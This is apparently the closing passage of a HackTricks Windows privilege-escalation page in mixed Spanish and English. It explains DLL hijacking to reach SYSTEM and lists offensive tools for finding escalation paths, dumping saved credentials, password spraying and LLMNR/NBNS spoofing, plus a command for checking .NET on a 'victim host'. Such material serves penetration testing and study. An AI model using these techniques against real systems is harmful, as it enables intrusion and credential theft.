Si quieres learn more about name pipes you should read this.
Si quieres leer un ejemplo de how to go from high integrity to System using name pipes you should read this.

Dll Hijacking

Si logras hijackear una dll que está siendo cargada por un proceso que se ejecuta como SYSTEM podrás ejecutar código arbitrario con esos permisos. Por lo tanto Dll Hijacking también es útil para este tipo de escalada de privilegios y, además, es mucho más fácil de conseguir desde un proceso de High Integrity ya que tendrá permisos de escritura en las carpetas usadas para cargar dlls.
You can learn more about Dll hijacking here.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

Read: https://github.com/itm4n/FullPowers

Más ayuda

Static impacket binaries

Useful tools

Best tool to look for Windows local privilege escalation vectors: WinPEAS

PrivescCheck
PowerSploit-Privesc(PowerUP) -- Comprueba misconfiguraciones y ficheros sensibles (check here). Detected.
JAWS -- Comprueba posibles misconfiguraciones y recopila información (check here).
privesc -- Comprueba misconfiguraciones
SessionGopher -- Extrae información de sesiones guardadas de PuTTY, WinSCP, SuperPuTTY, FileZilla y RDP. Usa -Thorough en local.
Invoke-WCMDump -- Extrae credenciales del Credential Manager. Detected.
DomainPasswordSpray -- Hace spray con contraseñas recopiladas en el dominio
Inveigh -- Inveigh es un spoofer ADIDNS/LLMNR/mDNS/NBNS y herramienta man-in-the-middle en PowerShell.
WindowsEnum -- Enumeración básica de Windows para privesc
~~Sherlock~~ ~~~~ -- Buscar vulnerabilidades privesc conocidas (DEPRECATED for Watson)
~~WINspect~~ -- Comprobaciones locales (Need Admin rights)

Exe

Watson -- Buscar vulnerabilidades privesc conocidas (necesita compilarse con VisualStudio) (precompiled)
SeatBelt -- Enumera el host buscando misconfiguraciones (más una herramienta de recolección de info que de privesc) (necesita compilarse) (precompiled)
LaZagne -- Extrae credenciales de muchos softwares (exe precompilado en github)
SharpUP -- Puerto de PowerUp a C#
~~Beroot~~ ~~~~ -- Comprueba misconfiguraciones (ejecutable precompilado en github). No recomendado. No funciona bien en Win10.
~~Windows-Privesc-Check~~ -- Comprueba posibles misconfiguraciones (exe desde python). No recomendado. No funciona bien en Win10.

Bat

winPEASbat -- Herramienta creada basada en este post (no necesita accesschk para funcionar correctamente pero puede usarlo).

Local

Windows-Exploit-Suggester -- Lee la salida de systeminfo y recomienda exploits que funcionan (python local)
Windows Exploit Suggester Next Generation -- Lee la salida de systeminfo y recomienda exploits que funcionan (python local)

Meterpreter

multi/recon/local_exploit_suggestor

You have to compile the project using the correct version of .NET (see this). To see the installed version of .NET on the victim host you can do:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Referencias

tip

Apoya a HackTricks

Revisa los planes de suscripción!
Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.